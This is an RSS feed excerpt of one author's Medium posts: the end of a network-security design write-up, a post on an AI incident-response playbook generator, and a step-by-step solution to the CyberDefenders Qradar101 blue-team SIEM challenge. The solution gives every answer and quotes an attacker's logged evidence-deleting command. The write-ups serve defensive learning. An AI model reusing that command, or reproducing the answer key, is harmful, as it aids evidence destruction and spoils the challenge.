TACACS+?</strong></h4><blockquote><em>We chose </em><strong><em>RADIUS</em></strong><em> because the primary goal of this architecture is controlling </em><strong><em>Network Access</em></strong><em> for users (via Wi-Fi and VPN). RADIUS is the industry standard for user authentication and session management. In contrast, TACACS+ is typically used for </em><strong><em>Device Administration</em></strong><em> (controlling who can configure routers and switches), which was not the primary focus of this specific topology.</em></blockquote><h4><strong>3. Why is the Web Server isolated in a DMZ while the Mail Server is internal?</strong></h4><blockquote><em>The </em><strong><em>Web Server</em></strong><em> is public-facing, meaning it must accept traffic from the open internet, making it a higher risk for compromise. Placing it in a </em><strong><em>DMZ (Demilitarized Zone)</em></strong><em> ensures that if it gets hacked, the attacker is still stuck outside the internal network. The </em><strong><em>Mail and File Servers</em></strong><em>, however, hold sensitive internal data, so they are placed in a strictly secured internal VLAN behind the IPS.</em></blockquote><h4><strong>4. Why isn&#39;t the Load Balancer acting as a central gateway for all servers (Web, Mail, and File)?</strong></h4><blockquote><em>I dedicated the </em><strong><em>Load Balancer</em></strong><em> to the DMZ specifically to manage external traffic for the Web Server, ensuring high availability for public users. Routing internal traffic — such as large file transfers to the File Server — through the same appliance would create an unnecessary performance bottleneck. Furthermore, separating the &quot;Public&quot; web infrastructure from the &quot;Private&quot; internal farm at the switch level enforces stricter network segmentation and security.</em></blockquote><h4>Conclusion 🎯</h4><p>Designing this network was a practical exercise in applying security concepts to real-world infrastructure. By using specific appliances like <strong>WAF, ESA, and IPS</strong>, and adhering to the principle of least privilege through network segmentation, I created an environment that is resilient against modern cyber threats. 💪</p><p>This project reinforced my understanding of how different security components talk to each other to form a unified defense posture.</p><p>If you found this breakdown helpful or have suggestions on how to further harden this topology, feel free to connect with me on LinkedIn.</p><blockquote><strong><em>LinkedIn Post → </em></strong><a href="https://www.linkedin.com/posts/zyad-roshdy_cybersecurity-networksecurity-socanalyst-share-7419041630747439104--I5U?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAAExJpW0B-HBnbMjtITXUBUDD5viO0F1WMos"><strong><em>Link</em></strong></a></blockquote><blockquote><a href="https://www.linkedin.com/in/zyad-roshdy/"><strong><em>linkedin.com/in/zyad-roshdy</em></strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b871c65f8d06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building an AI-Powered SOC Playbook Generator ️]]></title>
            <link>https://medium.com/@zyadroshdy/building-an-ai-powered-soc-playbook-generator-%EF%B8%8F-6e0c3c0ada4b?source=rss-9b2b12100d85------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e0c3c0ada4b</guid>
            <dc:creator><![CDATA[Zyad Roshdy]]></dc:creator>
            <pubDate>Tue, 16 Dec 2025 06:41:21 GMT</pubDate>
            <atom:updated>2026-02-05T20:00:09.189Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6dwWLDnKV_lTf_WQ1GIiiQ.png" /></figure><h4>We know that Incident Response (IR) requires speed and precision. However, creating detailed playbooks during an attack can be overwhelming.</h4><h4>I decided to build a tool that automates this process using Generative AI, and engineered a specific system prompt that forces the AI to act as a Senior Incident Responder, strictly following the 5 phases of NIST: Identification, Containment, Eradication, Recovery, and Lessons Learned.</h4><h4>Feel free to download, and <em>try </em>the tool<em> with your own scenarios </em>✨</h4><p><a href="https://github.com/ZyadRoshdy/AI-Powered-SOC-Playbook-Generator">GitHub - ZyadRoshdy/AI-Powered-SOC-Playbook-Generator: This project is an automated **Incident Response (IR) Assistant** designed to help SOC Analysts reduce time-to-response.</a></p><p>Make sure to check out the <a href="https://github.com/ZyadRoshdy/AI-Powered-SOC-Playbook-Generator/tree/main#%EF%B8%8F-ai-powered-soc-playbook-generator">README</a> file first :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*ax4YB3sNyJeq5LOP6upWcA.png" /></figure><h4>__________________________________________________________</h4><h4><strong>&gt;</strong> The user inputs a security scenario and clicks “GENERATE IR PLAN”<strong>.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2CsGoiaWrS5FnnISvhlVtQ.png" /></figure><h4>&gt; The tool analyzes the entered raw security alerts or scenarios and instantly generates:</h4><ul><li>A full NIST-Compliant Incident Response Playbook (Identification, Containment, Eradication, Recovery, Lessons Learned).</li><li>A dynamic, visual Flowchart to map out the investigation and decision-making process.</li><li><strong>The plan generated….</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*zyv4NRczeN7IA5gSc-9S2Q.png" /><figcaption>Description</figcaption></figure><blockquote><strong>Identification </strong>Phase:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*lFa_n0UBflRHImI2STQ5ug.png" /></figure><blockquote><strong>Containment</strong> Phase:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*nyz5-ptW1vxNG171sqh6kg.png" /></figure><blockquote><strong>Eradication </strong>Phase:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OnVx0AxVfg_BbamqYLum9w.png" /></figure><blockquote><strong>Recovery </strong>Phase:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0hiRlW-HvvK_s1taM0Eejw.png" /></figure><blockquote><strong>Lessons Learned</strong> Phase:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2k6fN4O-mStXarM_j38O1Q.png" /></figure><blockquote><strong>Flowchart</strong>:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*7NAhzsupi8p-nyb_8pVHDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*qlItbvKGCSflJGPecmoW0w.png" /></figure><p>The result is a tool that I believe can genuinely help L1 &amp; L2 analysts structure their thinking during high-pressure scenarios. It transforms the chaotic start of an incident into a structured, actionable plan in seconds.</p><p>And remember that:</p><p><strong>“AI isn’t here to replace the SOC Analyst; it’s here to augment us.”</strong></p><p>If you found this write-up helpful, feel free to connect with me on LinkedIn <a href="https://www.linkedin.com/in/zyad-roshdy"><em>https://www.linkedin.com/in/zyad-roshdy</em></a><em> </em>🚀</p><p><a href="https://www.linkedin.com/posts/zyad-roshdy_cybersecurity-blueteam-soc-activity-7406683283801133057-g-Ei?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAAExJpW0B-HBnbMjtITXUBUDD5viO0F1WMos">🔗</a> <a href="https://www.linkedin.com/posts/zyad-roshdy_cybersecurity-blueteam-soc-activity-7406683283801133057-g-Ei?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAAExJpW0B-HBnbMjtITXUBUDD5viO0F1WMos">LinkedIn post</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e0c3c0ada4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Qradar101 Lab (CyberDefenders) ️‍♂️]]></title>
            <link>https://medium.com/@zyadroshdy/qradar101-lab-cyberdefenders-%EF%B8%8F-%EF%B8%8F-1f60593eeb93?source=rss-9b2b12100d85------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f60593eeb93</guid>
            <dc:creator><![CDATA[Zyad Roshdy]]></dc:creator>
            <pubDate>Sat, 29 Nov 2025 12:45:09 GMT</pubDate>
            <atom:updated>2026-03-23T01:23:27.049Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*8PncOzjiUJCrbDMGhpTOUg.png" /></figure><h4><strong>Threat Hunting</strong></h4><h4><strong>CyberDefenders : Qradar101 Blue Team Challenge</strong></h4><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/39">Qradar101 | Blue team challenge.</a></p><h4>Scenario Overview:</h4><p>A financial company was compromised, and they are looking for a security analyst to help them investigate the incident. The company suspects that an insider helped the attacker get into the network, but they have no evidence.</p><p>The initial analysis performed by the company’s team showed that many systems were compromised. Also, alerts indicate the use of well known malicious tools in the network. As a SOC analyst, you are assigned to investigate the incident using QRadar SIEM and reconstruct the events carried out by the attacker.</p><h4>Watch this video for the setup:</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F4uM4JEhbEjI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D4uM4JEhbEjI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F4uM4JEhbEjI%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9354432914c41ee3a302f137e536bd58/href">https://medium.com/media/9354432914c41ee3a302f137e536bd58/href</a></iframe><h4><strong>__________________________________________________________</strong></h4><h4><strong>Q1) How many log sources available?</strong></h4><ul><li>Hit to the <strong>Admin</strong> Tab &gt; <strong>Log Sources</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eZAICF_DAnYhS6aYDf1wFQ.png" /></figure><ul><li>Count them</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*6YctDLnMYlqZvw_ThUWlSg.png" /></figure><p><strong><em>Answer: 15</em></strong></p><h4><strong>Q2) What is the IDS software used to monitor the network?</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*XjE5Eildakjd2TN9Y8aWCw.png" /></figure><p><strong><em>Answer: Suricata</em></strong></p><h4><strong>Q3) What is the domain name used in the network?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using The <strong>Event ID</strong> 4624 <em>(successful login event)</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LMRyxbmrFqt8_55pTwibsg.png" /></figure><ul><li>Enter any Event</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ol4eULLVUNu1tqmQgE-MJg.png" /></figure><ul><li>We can find the Domain in the Payload.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3b7VoSTRqgHtl9v9ZEi63w.png" /></figure><p><strong><em>Answer: hackdefend.local</em></strong></p><h4><strong>Q4)</strong> <strong>Multiple IPs were communicating with the malicious server. One of them ends with “20”. Provide the full IP.</strong></h4><ul><li>&gt; <strong>Offenses </strong>Tab <strong>&gt;</strong> <strong>By Source IP &gt; </strong>here we can find the IP.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8Gzou5F8Q1k7wgdjsfhng.png" /></figure><p><strong><em>Answer: 192.168.20.20</em></strong></p><h4><strong>Q5) What is the SID of the most frequent alert rule in the dataset?</strong></h4><ul><li>We know <strong>Suricata </strong>is the <strong>IDS</strong>.</li><li>So we <strong>Add Filter</strong> using the <strong>Log Source</strong>: <strong>SO-Suricata</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gxKY6MIzj9uvfmVGlySrNw.png" /></figure><ul><li>We sort the alerts by destination IP to identify the most frequent alert.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGyBSIblQTylq-zRHFVLuw.png" /></figure><ul><li>We can find the <strong>SID </strong>here:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39sMYwD-RO5TsBOo7-_pGQ.png" /></figure><p><strong><em>Answer: 2027865</em></strong></p><h4><strong>Q6) What is the attacker’s IP address?</strong></h4><ul><li>&gt; Offenses Tab &gt; By Source IP</li><li>There is only one external IP here.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1V2vNMsLfaGB-rImXvHfHA.png" /></figure><p><strong><em>Answer: 192.20.80.25</em></strong></p><h4><strong>Q7) The attacker was searching for data belonging to one of the company’s projects, can you find the name of the project?</strong></h4><ul><li>we can search the Payload for it.</li><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using Payload Contains with Value: project</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*ZcBx5vkB2BycGL7yWNsG3A.png" /></figure><ul><li>Enter any alert of them.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dSlvF5WkmUs6k4brWIOllg.png" /></figure><ul><li>Here we can find the project name:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cuMQ75LGAqe2pvNBcSsQ4Q.png" /></figure><p><strong><em>Answer: project48</em></strong></p><h4><strong>Q8) What is the IP address of the first infected machine?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using <strong>Source IP</strong> with the attacker’s IP which is <strong>192.20.80.25</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*8ER_026S_UgDt-yJOCr5yg.png" /></figure><ul><li>Sort them by <strong>Time </strong>and it’s the first <strong>Destination IP </strong>which is 192.168.10.15</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPOyw-YKzxoRM2eXvBSwXw.png" /></figure><p><strong><em>Answer: 192.168.10.15</em></strong></p><h4><strong><em>Q9) What is the username of the infected employee using 192.168.10.15?</em></strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using with the IP <strong>192.168.10.15</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*e575Xefn4cgkuINw6NaZ4w.png" /></figure><ul><li>Sort by <strong>Username</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2bmMxOwQJ6Oh0ovrOceeAQ.png" /></figure><p><strong><em>Answer: nour</em></strong></p><h4><strong>Q10) Hackers do not like logging, what logging was the attacker checking to see if enabled?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using the <strong>Username </strong>with the <strong>Log Source</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*w__PnshjbEVek3Q6XNsw_Q.png" /></figure><p><strong><em>Answer: PowerShell</em></strong></p><h4><strong>Q11) Name of the second system the attacker targeted to cover up the employee?</strong></h4><ul><li>We can search for deleted files.</li><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>with the <strong>Process CommandLine </strong>Contains <strong>del</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ruIfjjEwaympHqTFus8naQ.png" /></figure><ul><li>As you see there is only one process that could cover up the employee which has a process of: <strong>cmd.exe /Q /c del sami.xlsx</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qvhPT9N1OyxljYdib1fkjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*MdhZsN0gvglI0ZS1YXLHVA.png" /></figure><p><strong><em>Answer: MNGT-01</em></strong></p><h4><strong>Q12) When was the first malicious connection to the domain controller (log start time — hh:mm:ss)?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using The <strong>Event ID</strong> 3 <em>(network connection event)</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-dK3-J4L-bM7C8iH-LQRMg.png" /></figure><ul><li>Sort them by <strong>Time, </strong>but wait . . . why it’s not the first event?</li><li>we can see that the first event is for a connection to the attacker’s server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8M2i8_eZa-XxUZp8ZQ6-Bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UI5KCb9XaWYh8OlQyXht0w.png" /></figure><p><strong><em>Answer: 11:14:10</em></strong></p><h4><strong>Q13) What is the md5 hash of the malicious file?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>with the <strong>Payload </strong>Contains <strong>md5</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*cWb2h6jJJ-XGLpUWyh72pg.png" /></figure><ul><li>Sort by <strong>Time</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OHlNrwE2tuIayNiPr1zWw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_SLAMdPEzbFq-_IO93SvlA.png" /></figure><p><strong><em>Answer: </em></strong><em>9D08221599FCD9D35D11F9CBD6A0DEA3</em></p><h4><strong>Q14) What is the MITRE persistence technique ID used by the attacker?</strong></h4><ul><li>the most common techniques for establishing persistence by malware and threat actors is the usage of registry Run keys &amp; Start up folders in a windows system.</li><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using The <strong>Event ID</strong> 13 <em>(registry event)</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FfrqAq8Hglj4fBJCP0PNZg.png" /></figure><ul><li>Added a column for <strong>Target Object</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*Hbs-ap0lBJTHtPX__8bGJQ.png" /></figure><ul><li>now we will go to <a href="https://attack.mitre.org/"><strong>MITER ATT&amp;CK</strong></a> and search for Windows\CurrentVersion</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICcx2hJrYQ_v8xVb4NdHlQ.png" /></figure><p><strong><em>Answer: </em></strong><em>T1547.001</em></p><h4><strong>Q15) </strong>What protocol is used to perform host discovery?</h4><ul><li>We can discover this information by analyzing the outgoing traffic from the first compromised host.</li><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using the <strong>Source IP </strong>192.168.10.15 and <strong>Log Source</strong> Zeek_conn while blocking<strong> udp &amp; tcp </strong>protocols.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*Hqm8Ma13EUxXC1C9UfkqyA.png" /></figure><ul><li>Now we can search the payload of any event for the protocol.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*bbfSlSwF4T1lSDarykW8SQ.png" /></figure><p><strong><em>Answer: </em></strong><em>icmp</em></p><h4><strong>Q16) What is the email service used by the company? (one word)</strong></h4><ul><li>We understand from the question that the email server is outside the network.</li><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using the <strong>Port</strong> <strong>53</strong> and <strong>Destination IP </strong>is not<strong> </strong>192.168.20.0</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*DizP5zNGpn5atg6PsI_KiQ.png" /></figure><ul><li>go to this link <a href="https://www.geolocation.com/">https://www.geolocation.com</a> investigating the hovered ip it will show that it belong to Microsoft which offers &lt;<strong>office365&gt;</strong> service.</li></ul><p><strong><em>Answer: </em></strong><em>office365</em></p><h4><strong>Q17) What is the name of the malicious file used for the initial infection?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using Payload Contains <strong>md5</strong> hash which is 9D08221599FCD9D35D11F9CBD6A0DEA3</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*Iuyp2i9HSeXQBAVZz6XKew.png" /></figure><ul><li>We can see the file name here which is important_instructions.docx</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*PIY1SR3UlNiVNM0X1nr8gA.png" /></figure><p><strong><em>Answer: </em></strong><em>important_instructions.docx</em></p><h4><strong>Q18) What is the name of the new account added by the attacker?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using The <strong>Event ID</strong> 4720 <em>(a user account was created event)</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*TOnGVU7VJAFI-t1cINlDCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*yb89RGyPlrIhm0E_Kvhrvw.png" /></figure><p><strong><em>Answer: </em></strong><em>rambo</em></p><h4><strong>Q19) What is the PID of the process that performed injection?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using The <strong>Event ID</strong> 8 <em>(injection activity event)</em></li><li>Added a column for <strong>Target Image Name</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*-ipH1hPVdNj8SnE-9dzCcQ.png" /></figure><ul><li>Here is the PID: 7384</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*dmrRUtiVxQt6e1oqvLoe6g.png" /></figure><p><strong><em>Answer: 7384</em></strong></p><h4><strong>Q20) What is the name of the tool used for lateral movement?</strong></h4><ul><li>We can add a filter to find out what technique the attacker used.</li><li>then we search the commands written by the attacker that lead us to the tool which is wmiexec.py</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XJuCcbuMoQFLIB0I6MadIg.png" /></figure><p><strong><em>Answer: </em></strong>wmiexec.py</p><h4><strong>Q21) Attacker exfiltrated one file, what is the name of the tool used for exfiltration?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using The attacker’s IP<strong> 192.20.80.25</strong> &amp; Log Source <strong>Suricata</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*I9-vHuDalPvK2JdKih81iQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*LaDdXltNGCvJpMq4cupBcw.png" /></figure><p><strong><em>Answer: </em></strong><em>curl</em></p><h4><strong>Q22) Who is the other legitimate domain admin other than the administrator?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using The <strong>Event ID</strong> 4672 <em>(Special privileges assigned to new login event).</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*JnRYj5IG7ukgTxE4Ad1CIw.png" /></figure><p><strong><em>Answer: </em></strong><em>Adam</em></p><h4><strong>Q23) The attacker used the host discovery technique to know how many hosts available in a certain network, what is the network the hacker scanned from the host IP 1 to 30?</strong></h4><ul><li><strong>&gt; Log Activity </strong>Tab</li><li><strong>Add Filter </strong>using The <strong>Source IP </strong>of the first compromised machine with <strong>Log Source</strong> Zeek_conn &amp; <strong>Destination Port</strong> 0.</li><li>We can see the attacker scanned the network 192.168.20.0/24</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JcCZxPyFZzF_jvi93ylPqQ.png" /></figure><p><strong><em>Answer: 192.168.20.0</em></strong></p><h4><strong>Q24) What is the name of the employee who hired the attacker?</strong></h4><p>While searching for the name of the second system the attacker targeted to cover up the employee and was performing data exfiltration, we noticed a suspicious .xlsx spreadsheet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*3HXpOgOpzr9zORoYQYnyeQ.png" /></figure><p><strong><em>Answer: </em></strong><em>sami</em></p><h4>__________________________________________________________</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/142/1*V7ztg6hTD-QnIRnj1CDiWQ.gif" /></figure><p><strong>I hope this walkthrough helps you if you get stuck! If you have a different approach to solving these questions or better ideas, let me know in the comments — I’d love to learn from your techniques. 🤍</strong></p><p><strong>If you found this write-up helpful, feel free to connect with me on LinkedIn </strong>🚀 <a href="https://www.linkedin.com/in/zyad-roshdy"><strong>https://www.linkedin.com/in/zyad-roshdy</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f60593eeb93" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>